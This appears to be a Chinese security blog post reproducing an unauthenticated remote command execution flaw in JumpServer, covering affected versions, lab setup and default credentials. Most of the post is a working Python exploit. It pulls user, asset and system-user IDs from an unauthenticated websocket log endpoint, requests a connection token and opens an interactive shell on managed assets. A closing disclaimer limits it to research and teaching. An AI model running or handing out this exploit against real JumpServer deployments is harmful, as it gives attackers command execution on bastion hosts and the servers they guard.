-
JumpServer < v2.6.2
-
JumpServer < v2.5.4
-
JumpServer < v2.4.5
-
JumpServer = v1.5.9
-
注意要给环境配置高一点，否则会卡死。（我是 Centos 7 系统 4 核 8G）
-
使用一件脚本的时候，推荐不使用外部 mysql 和 redis，这样他就会 docker 自己创建数据库，省的自己配报错。
-
搭建好了，服务一键启动 ./jmsctl.sh restart
-
搭建好了，默认的账户和密码是 admin admin
1、创建一个系统用户
-
系统用户是 JumpServer 跳转登录资产时使用的用户
2、创建管理用户
3、创建资产
4、资产授权
5、web终端连接
http://10.211.55.22:8080/luna/
1、请求未授权 socketweb
ws://10.211.55.22:8080/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}
2、获取system_user user_id asset_id 这三个重要参数
asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c
3、对应填入EXP中
文件最后需要修改的：host = "http://10.211.55.22:8080"data = {"user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c","asset": "230f921b-be1c-4343-8bab-57d4410606bb","system_user": "03705092-18e7-4b65-a12a-7991f9c50740",}
4、成功利用：
命令行创建超管
cd /opt/jumpserver/appspython manage.py createsuperuser
import osimport asyncioimport aioconsoleimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=1"def get_celery_task_log_path(task_id):task_id = str(task_id)rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")path = os.path.join("/opt/jumpserver/", rel_path)return pathasync def send_msg(websocket, _text):if _text == "exit":print(f'you have enter "exit", goodbye')await websocket.close(reason="user exit")return Falseawait websocket.send(_text)async def send_loop(ws, session_id):while True:cmdline = await aioconsole.ainput()await send_msg(ws,json.dumps({"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}),)async def recv_loop(ws):while True:recv_text = await ws.recv()ret = json.loads(recv_text)if ret.get("type", "TERMINAL_DATA"):await aioconsole.aprint(ret["data"], end="")# 客户端主逻辑async def main_logic():print("#######start ws")async with websockets.connect(target) as client:recv_text = await client.recv()print(f"{recv_text}")session_id = json.loads(recv_text)["id"]print("get ws id:" + session_id)print("###############")print("init ws")print("###############")inittext = json.dumps({"id": session_id,"type": "TERMINAL_INIT","data": '{"cols":164,"rows":17}',})await send_msg(client, inittext)await asyncio.gather(recv_loop(client), send_loop(client, session_id))if __name__ == "__main__":host = "http://10.211.55.22:8080"cmd = "whoami"if host[-1] == "/":host = host[:-1]print(host)data = {"user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c","asset": "230f921b-be1c-4343-8bab-57d4410606bb","system_user": "03705092-18e7-4b65-a12a-7991f9c50740",}print("##################")print("get token url:%s" % (host + url,))print("##################")res = requests.post(host + url, json=data)token = res.json()["token"]print("token:%s", (token,))print("##################")target = ("ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token)print("target ws:%s" % (target,))asyncio.get_event_loop().run_until_complete(main_logic())
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论